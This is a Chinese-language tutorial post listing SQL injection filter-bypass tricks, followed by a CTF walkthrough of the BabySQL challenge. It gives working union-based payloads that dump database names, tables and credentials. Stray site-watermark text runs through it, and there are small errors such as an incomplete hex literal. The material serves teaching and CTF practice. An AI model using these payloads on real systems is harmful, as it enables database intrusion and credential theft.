SQL注入绕过技巧
空格绕过
- 注释符/* */,%a0,%0a
- 括号绕过空格
select(user())from dual where(1=1)and(2=2)
讯享网
引号绕过
采用16进制编码绕过,例如:
讯享网select column_name from information_schema.columns where table_name='users'
选中users,将其改为16进制编码
select column_name from information_schema.tables where table_name=0x
绕过注释符:#、-- -
通过闭合后面的引号来进行绕过
- id=1' union select 1,2,3||'1
- id=1' union select 1,2,'3
- Id=1’ where ‘1’=‘1
- Id=1’ and ‘1’=‘1
- Id=1’ or ‘1’=‘1
宽字节注入:
大家都知道PHP在开启magic_quotes_gpc或者使用addslashes、iconv等函数的时候,单引号(')会被转义成\'。比如字 符%bf在满足上述条件的情况下会变成%bf\'。其中反斜杠(\)的十六进制编码是%5C,单引号(')的十六进制编码是%27,那么就可以得出%bf \'=%bf%5c%27。如果程序的默认字符集是GBK等宽字节字符集,则MySQL会认为%bf%5c是一个宽字符,也就是“縗”。也就是说%bf \'=%bf%5c%27=縗'。
?id=1%df'
代替and,or,not等等
- 利用符号替换 not=!、and=&&、or=||、xnot=|
- 在敏感词中添加注释:an//d
- 双写绕过:oorr
- 大小写变形:AnD
- 编码
绕过union,select,where等:
- uniounionn:双写绕过 union、select、where等.
- U// NION // SE// LECT //user,pwd from user
- UniOn:大小写绕过
例题:[极客大挑战 2019]BabySQL1
首先输入万能密码进行尝试:' or '1'='1-- -,发现回显是错误用户名和密码,说明没有注入成功,然后输入在用户名处输入1'发现报错。

根据报错信息推断出闭合的条件就是单引号',所以继续在用户名处输入1'-- -,密码:1(一下密码不做特殊声明外均为1)进一步验证判断是否正确。

发现成功注入,说明闭合条件判断正确,同时能够确认几点信息:
- 该题目没有过滤单引号
- 该题目没有过滤空格
- 该题目没有过滤注释符
确认几点信息之后继续输入语句进行判断数据库的列数,方便进一步注入。

讯享网?username=admin' order by 1,2,3,4 -- -&password=1
发现报错的回显为:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'der 1,2,3,4 -- -' and password='1'' at line 1
这里说明输入的order by语句被过滤了or,导致最后语句只输入了der 1,2,3,4,所以首先尝试双写or,即写为oorrder进行尝试,看看能否成功。
?username=admin' oorrder by 1,2,3,4 -- -&password=1
输入之后发现order的问题没有继续报错,但是by被屏蔽了,所以同样的处理双写by为bbyy,最终的语句为:
讯享网?username=admin' oorrder bbyy 1,2,3,4 -- -&password=1
输入语句之后发现回显为:Unknown column '4' in 'order clause'。说明一共只有三列。这时候输入union select语句去判断显示位
?username=admin' and 1=2 union selcet 1,2,3 -- -&password=1
发现报错的回显为:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1=2 selcet 1,2,3 -- -' and password='1'' at line 1。说明union被过滤了,所以同样的办法,双写union为ununionion继续尝试。发现仍然报错,这时候继续双写select为seselectlect尝试。发现成功。
讯享网?username=-1' ununionion seselectlect 1,2,3 -- -&password=1

找出显示位以后继续输入如下语句,依次爆出数据库,表名以及列名。
?username=-1' ununionion seselectlect 1,2,database()-- -&password=1 ?username=-1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() -- -&password=1 ?username=-1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' -- -&password=1
列名如下:

发现还没有找到flag值,所以继续爆id,username,password看看flag是否隐藏在数据之中。
讯享网?username=-1' ununionion seselectlect 1,2,group_concat(id,0x3a,username,0x3a,passwoorrd) frfromom b4bsql -- -&password=1
发现flag值隐藏在password之中,其值为:flag{7186e94f-091e-4e44-8736-c93c5534aa64}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/119315.html